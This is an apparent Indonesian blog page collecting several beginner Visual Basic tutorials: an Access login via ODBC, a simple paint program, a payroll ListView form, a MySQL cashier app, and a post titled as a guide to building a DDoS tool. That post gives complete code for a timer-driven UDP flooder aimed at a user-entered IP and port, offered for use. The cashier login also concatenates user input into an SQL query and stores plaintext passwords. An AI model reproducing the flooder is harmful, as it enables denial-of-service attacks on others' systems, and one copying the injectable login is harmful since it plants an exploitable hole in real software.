Tutorial Menggunakan DataBase Microsoft Access sebagai DataBase Microsoft Visual Basic 6.0

Artikel ini akan membahas bagaimana cara untuk menggabungkan Microsoft Access dengan Microsoft Visual Basic 6.0.

Berikut langkah-langkah menggabungkan Access dan VB:

1. Buat dulu databasenya di Microsoft Access.

   - Buka Microsoft Access.

   - Buat database baru.

   - Klik Design View sesuai dengan gambar di bawah.

   - Simpan Table dengan nama Username.

   - Isi Table Design View sesuai dengan gambar di bawah.

   - Kemudian kembali ke Datasheet View dan Save.

   - Isi Table sesuai dengan keinginan dan Sabe.

   - Tutup Microsoft Access.

2. Buat ODBC

   - Masuk ke Control Panel.

   - Pilih Administrative Tools.

   - Pilih Data Source (ODBC).

   - Pilih System DSN, kemudian klik Add.

   - Pilih Microsoft Access Driver (*.mdb, *.accdb), kemudian klik Finish.

   - Isi Data Source Name dengan nama "dsnUsername".

   - Klik Select, kemudian cari file Microsoft Access yang tadi telah dibuat, klik OK.

   - Klik OK.

   - Klik OK.

3. Membuat Module.

   - Buka Project VB yang sebelumnya telah dibuat.

   - Tambahkan References Microsoft ActiveX Data Objects 2.0 Library dengan cara.
       * Klik menu Project - References.

       * Pilih Microsoft ActiveX Data Objects 2.0 Library, kemudian klik OK.

   - Klik kanan pada Project - Add - Module.

   - Klik Open.

   - Ketikkan Script Code sesuai dengan gambar di bawah, kemudian Save.

 4. Ubah Script Code yang telah dibuat sebelumnya.

   - Buka frmLogIn yang telah dibuat sebelumnya.

   - Masuk ke Code, kemudian ketikkan Script yang baru sesuai dengan gambar di bawah ini.

Jika telah selesai silahkan tes programnya apakah bisa? Jika langkah-langkah tadi diikuti dengan benar pasti bisa. :D

Kemudian agar program ini menjadi program Executable, pilih menu File - Make Project.exe.

Kemudian beri nama LogIn.exe.

Dan ini dia Hasilnya. :D

Semoga bermanfaat... :)

Selengkapnya...

Program Belajar Menulis dan Menggambar dengan Visual Basic

Program yang dibahas kali ini terinspirasi dari program bawaan Microsoft Windows yaitu Ms. Paint. Kali ini kita akan sedikit mengupas cara membuat program paint tersebut dalam versi yang lebih sederhana dengan menggunakan Visual Basic. Program ini dapat Anda download dan kostumisasi sesuai keinginan Anda secara GRATIS.
Langkah pertama adalah membuat sebuah project dengan sebuah form menggunakan objek label, button, picture box dan frame dengan desain seperti ini:

Langkah selanjutnya adalah melakukan pengaturan properties sehingga tampilan didapat seperti pada gambar diatas.
Langkah terakhir adalah memberikan listing program untuk form tersebut sebagai berikut:

Dim paintnow As Boolean
Private Sub cmdhapus_Click()
cmdhapus.Enabled = False
cmdpensil.Enabled = True
End Sub
Private Sub cmdhpsemua_Click()
Picture1.Cls
End Sub
Private Sub cmdpensil_Click()
cmdpensil.Enabled = False
cmdhapus.Enabled = True
End Sub
Private Sub Command1_Click()
Unload Me
End Sub
Private Sub Form_Load()
Dim i As Integer
For i = 0 To 14
lblwarna(i).BackColor = QBColor(i)
Next i
Picture1.ForeColor = QBColor(0)
Picture1.BackColor = QBColor(15)
End Sub
Private Sub lblwarna_Click(Index As Integer)
Picture1.ForeColor = lblwarna(Index).BackColor
End Sub
Private Sub Picture1_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = vbLeftButton Then
paintnow = True
Picture1.CurrentX = x
Picture1.CurrentY = y
End If
End Sub
Private Sub Picture1_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
If paintnow Then
If cmdpensil.Enabled = False Then
Picture1.Line -(x, y), Picture1.ForeColor
Picture1.MousePointer = 99
End If
If cmdhapus.Enabled = False Then
Picture1.Line -(x, y), RGB(255, 255, 255), B
Picture1.MousePointer = 12
End If
End If
End Sub
Private Sub Picture1_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = vbLeftButton Then
paintnow = False
End If
End Sub

Kemudian simpan dan jalankan program tersebut untuk melihat hasilnya.
Untuk mempermudah Anda mencoba program tersebut, berikut ini adalah Project lengkapnya yang sudah saya upload dalam format rar:
Download Program Selengkapnya

Selengkapnya...

Cara membuat Tool DDOS dengan Visual Basic 2008

 Hari ini saya Akan berbagi kepada Anda cara Membuat tool DDoS dengan Visual Basic 2008 Express Edition. :bthplz:
Langkah Pertama :
Pertama Anda harus Buat 2 TextBoxes, 3 Buttons, A Timer, 6 Label & Satu ListBox.
Langkah Ke Dua:
Sekarang Hapus Semua Kode defult di VB Dan Paste Kode berikut ini di Bagian Coding dari Form1: -
Imports System.Net
Imports System.Text
Imports System.Net.Sockets
Imports System.Diagnostics
Public Class Form1
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try
Label6.Text = Label6.Text + 10
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, TextBox2.Text)
bytCommand = Encoding.ASCII.GetBytes(TextBox3.Text)
udpClient.Send(bytCommand, bytCommand.Length)
Label6.Text = Label6.Text + 10
Catch ex As Exception
Me.Close()
End Try
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Stop()
End Sub
End Class
Langkah ke tiga:
Sekarang Build dan buat ke versi exe. Dari folder bin Proyek Anda.

Selengkapnya...

Cara Menghitung Gaji Karyawan Dengan List View Di Visual Basic

Silahkan Ketikkan Program Di bawah Ini :

Public Class Form1

    Sub buattabel()

        LV.GridLines = True

        LV.View = View.Details

        LV.FullRowSelect = True

        LV.Columns.Add("NIK", 50, HorizontalAlignment.Center)

        LV.Columns.Add("Nama", 150, HorizontalAlignment.Left)

        LV.Columns.Add("Jabatan", 85, HorizontalAlignment.Center)

        LV.Columns.Add("Gaji", 85, HorizontalAlignment.Center)

        LV.Columns.Add("Status", 85, HorizontalAlignment.Center)

        LV.Columns.Add("Tunj.Keluarga", 85, HorizontalAlignment.Left)

        LV.Columns.Add("Pajak", 85, HorizontalAlignment.Center)

        LV.Columns.Add("Total Gaji", 85, HorizontalAlignment.Center)

    End Sub

    Private Sub cmdSimpan_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdSimpan.Click

        Dim lst As New ListViewItem

        lst.Text = NIK.Text

        lst.SubItems.Add(nama.Text)

        lst.SubItems.Add(jabatan.Text)

        lst.SubItems.Add(gaji.Text)

        lst.SubItems.Add(status.Text)

        lst.SubItems.Add(tunj_Kel.Text)

        lst.SubItems.Add(pajak.Text)

        lst.SubItems.Add(total.Text)

        LV.Items.Add(lst)

    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Call buattabel()

        Call items()

    End Sub

    Sub items()

        NIK.Items.Add("0987654321")

        NIK.Items.Add("0876543212")

        NIK.Items.Add("1423576983")

        NIK.Items.Add("2365871894")

        NIK.Items.Add("3521876905")

        NIK.Items.Add("4356789106")

        NIK.Items.Add("5169021387")

        NIK.Items.Add("6987543218")

        NIK.Items.Add("7125436789")

        NIK.Items.Add("1043265710")

        jabatan.Items.Add("Kepala Perusahaan")

        jabatan.Items.Add("Manager")

        jabatan.Items.Add("Sekretaris")

        jabatan.Items.Add("Staf")

        jabatan.Items.Add("Teknisi")

        jabatan.Items.Add("Marketing")

        jabatan.Items.Add("Supir")

        jabatan.Items.Add("Satpam")

        jabatan.Items.Add("OfficeBoy")

        jabatan.Items.Add("Juru Parkir")

        status.Items.Add("Menikah")

        status.Items.Add("Tidak Menikah")

    End Sub

    Private Sub NIK_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles NIK.SelectedIndexChanged

        Select Case NIK.Text

            Case "0987654321" : nama.Text = "MR.Najmin"

            Case "0876543212" : nama.Text = "MR.Roger"

            Case "1423576983" : nama.Text = "MS.Angraini"

            Case "2365871894" : nama.Text = "Wulandari"

            Case "3521876905" : nama.Text = "Andi"

            Case "4356789106" : nama.Text = "Sry Rahayu"

            Case "5169021387" : nama.Text = "Raditya"

            Case "6987543218" : nama.Text = "Tornado Lorenzo"

            Case "7125436789" : nama.Text = "Bunga"

            Case "1043265710" : nama.Text = "Sahidin"

        End Select

    End Sub

    Private Sub status_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles status.SelectedIndexChanged

        Select Case status.Text

            Case "Menikah" : tunj_Kel.Text = 0.15 * gaji.Text

            Case "Tidak Menikah" : tunj_Kel.Text = 0

        End Select

    End Sub

    Private Sub jabatan_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles jabatan.SelectedIndexChanged

        Select Case jabatan.Text

            Case "Kepala Perusahaan" : gaji.Text = 4500000

            Case "Manager" : gaji.Text = 3500000

            Case "Staf" : gaji.Text = 2250000

            Case "Teknisi" : gaji.Text = 2000000

            Case "Marketing" : gaji.Text = 850000

            Case "Supir" : gaji.Text = 1250000

            Case "Satpam" : gaji.Text = 1000000

            Case "OfficeBoy" : gaji.Text = 750000

            Case "Juru Parkir" : gaji.Text = 500000

        End Select

        pajak.Text = 0.1 * gaji.Text

    End Sub

    Private Sub cmdProses_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdProses.Click

        total.Text = Val(gaji.Text) + Val(tunj_Kel.Text) - Val(pajak.Text)

    End Sub

    Private Sub cmdKeluar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdKeluar.Click

        End

    End Sub

    Private Sub cmdBaru_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdBaru.Click

        Call bersih()

    End Sub

    Sub bersih()

        NIK.Text = ""

        nama.Text = ""

        jabatan.Text = ""

        gaji.Text = ""

        status.Text = ""

        tunj_Kel.Text = ""

        pajak.Text = ""

        total.Text = ""

    End Sub

    Private Sub HapusSemua_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles HapusSemua.Click

        LV.Items.Clear()

    End Sub

End Class

Kira-Kira Hasilnya Akan Seperti Ini :

Selengkapnya...

Tutorial Membuat program Kasir dengan VB6

Pada tutorial ini anda akan belajar bagaimana membuat aplikasi client server menggunakan visual basic dan MYSQL Untuk lebih memperjelas pemahaman anda akan digunakan studi kasus program KASIR. Dimana pada implemantasinya nanti, aplikasi yang dibuat akan terpisah dengan database. Database akan ditempatkan pada sebuah server dan aplikasi dapat ditempatkan pada beberapa komputer client. Untuk pengembangan / pembuatan aplikasinya sendiri dapat dilakukan di komputer lokal terlebih dahulu. Adapun yang anda perlukan pada tutorial ini, yaitu visual basic, MYSQL, dan Mysql Connector-ODBC. MYSQL dan MYSQL Connector ODBC dapat anda download di www.mysql.com. MYSQL Connector ODBC dibutuhkan agar dapat melakukan koneksi database MYSQL dari VB
Setelahnya semuanya terinstall mulailah membuat database MYSQL beserta tabel - tabelnya. Buatlah sebuah database dengan nama kasir, dan buat 5 tabel seperti di bawah:
Tabel user_login

Field	Tipe Data
user_login_id	varchar(50) *
user_name	varchar(100)
user_psw	varchar(20)

Tabel product 

Field	Tipe Data
product_id	varchar(40) *
product_name	varchar(100)
price	double
stock	integer

Tabel transaksi 

Fields	Tipe Data
no_transaksi	integer (auto increment) *
tgl_transaksi	datetime
total_barang	integer
total_harga	double
kasir	varchar(50)

Tabel detail_transaksi 

Fields	Tipe Data
no_transaksi	integer
product_id	varchar(40)
jumlah	integer
harga_satuan	double

Tabel transaksi_temp 

Fields	Tipe Data
no_transaksi	integer
product_id	varchar(40)
jumlah	integer
harga_satuan	double

* Primary Key

Tabel user_login digunakan untuk menyimpan data pengguna aplikasi, tabel product digunakan untuk menyimpan data product yang dijual. Tabel transaksi untuk menyimpan data transaksi dan tabel detail_transaksi untuk menyimpan detail dari transaksi yang dilakukan. Sedangkan tabel traksaksi_temp digunakan untuk mencatat secara sementara detail traksaksi yang dilakukan, setelah transaksi selesai dilakukan baru dipindahkan ke tabel transaksi.
Setelah database dan kasir selesai dibuat tambahkan data (insert data) pada tabel user dengan data berikut:

user_login_id	user_name	user_psw
admin	Administrator	admin

langkah selanjutnya adalah mempersiapkan koneksi ke database. Ikutilah langkah-langkah di bawah ini.

1. Buka control panel, double klik pada Administrative Tools, kemudian double klik pada Data Sources (ODBC). Dan akan muncul window kurang lebih seperti berikut: 
   
2. Klik pada System DSN, dan klik tombol Add, dan akan muncul window seperti berikut:
   
3. Pilih MySQL ODBC 3.5.1 Driver, dan klik tombol Finish, dan akan tampil window berikut :
   
4. Kemudian isi form di atas dengan data seperti berikut:
   
5. Klik tombol Test, jika muncul kotak dialog yang menyatakan sukses, tekan OK dan tekan OK sekali lagi.

Setelah selesai sekarang anda telah siap untuk membuat Aplikasi KASIR..

Membuat Form Utama Administrator dan Form Login

Buka microsoft visual basic anda dan buat Standar EXE project. Setelah project dibuat akan langsung terbentuk sebuah form. Tambahkan label dan tombol serta atur propertiesnya seperti berikut :

Komponent	Properties
Form1	Name : main_form Caption : Administration
Label1	Caption : Welcome,
Label2	Name : label_user Caption : User
Command1	Name : btn_user Caption : User
Command2	Name : btn_product Caption : Product
Command3	Name : btn_trans Caption : Transaksi
Command4	Name : btn_report Caption : Report

Setelah diatur propertinya maka hasilnya adalah seperti berikut:

Admin Form
Kemudian Buat Form baru dengan cara, klik Menu Project, Add Form. Akan tampil window Add Form dan pilih Log In Dialog serta klik tombol open. Hasilnya seperti di bawah: 

Form Login
Sekarang buka notepad dan ketik kode di bawah:

[Data]
DB=kasir
SERVER=localhost
Uid=root
Password=root

Kemudian simpan di direktori c:\windows dengan nama koneksi.ini, file koneksi.ini berfungsi untuk menyimpan data yang diperlukan untuk koneksi ke database. Pada bagian DB berisi nama database yang akan digunakan, SERVER berisi IP address Server tempat database disimpan (untuk sementara gunakan lokalhost). Uid berisi database user name dan Passwordadalah password database.
Sekarang Kembali ke Editor Visual Studio. Pilih Menu Project, Add Module untuk membuat module. Pada window Add Module klik Open. Download File berikut ini, kemudian copy dan paste isi file tersebut pada module yang sedang dibuat. Setelah selesai simpan module tersebut. Kemudian Klik menu Project, References dan akan muncul window project reference. Centang pada bagian Micosoft ActiveX Data Objects 2.0 Library dan tekan tombol OK.
Sekarang beralih ke form login, double click pada tombol OK, Hapus script yang telah ada dan ganti dengan script di bawah:

Private Sub cmdOK_Click()
Call Koneksi
Dim RS As ADODB.Recordset
Set RS = New ADODB.Recordset
Dim SQL As String
'query untuk login
SQL = "select * from user_login where user_login_id='" & txtUserName.Text & "'"
'membuka koneksi ke databse
RS.CursorLocation = adUseClient
RS.Open SQL, conn, adOpenDynamic, adLockOptimistic
'cek kebenaran user_login_id
If (RS.RecordCount > 0) Then
'cek kebenaran password
If (RS!user_psw = txtPassword.Text) Then
user_login_id = txtUserName.Text
user_name = RS!user_name
Load main_form
main_form.Show
Unload Me
Else
MsgBox "Maaf Password Salah"
End If
Else
MsgBox "Maaf User Name Salah"
End If
End Sub

Kemudian double click pada tombol Cancel, hapus script yang telah ada dan ganti dengan script berikut:

Private Sub cmdCancel_Click()
Dim pil As VbMsgBoxResult
pil = MsgBox("Anda Yakin untuk keluar?", vbQuestion + vbYesNo, "Exit")
If (pil = vbYes) Then Unload Me
End Sub

Setelah selesai pilih menu Project, properties. Pada window Project Properties di bagianStartup Object pilih frmLogin. Kemudian tekan tombol OK.
Sekarang beralih ke admin_form, double click pada form dan ketik script berikut :

Private Sub Form_Load()
label_user.Caption = user_name
End Sub

Setelah selesai simpan project anda dengan nama kasir dan coba untuk menjalankanya dengan menekan tombol F5 pada keybord.



sekian postingan dari saya,kurang lebihnya mohon maaf dan semoga bermanfaat :)

Selengkapnya...